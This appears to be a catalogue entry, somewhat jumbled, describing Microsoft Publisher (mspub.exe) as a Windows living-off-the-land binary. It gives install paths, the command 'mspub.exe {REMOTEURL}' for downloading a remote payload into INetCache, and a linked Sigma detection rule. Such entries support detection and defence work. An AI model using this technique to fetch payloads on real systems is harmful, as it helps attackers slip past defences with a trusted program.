Microsoft Publisher Located at: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe; C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe; C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe.
mspubmspubSandbox: execFile · Timeout: 30s
network.transfer.download Outputs
process.output Command execution output
network_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Downloads payload from remote server (It will download a remote payload and place it in INetCache.)
mspub.exe {REMOTEURL}| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml |
| ioc | Suspicious Office application internet/network traffic |
mspub is a Windows LOLBin. Microsoft Publisher Located at: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe; C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe; C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe.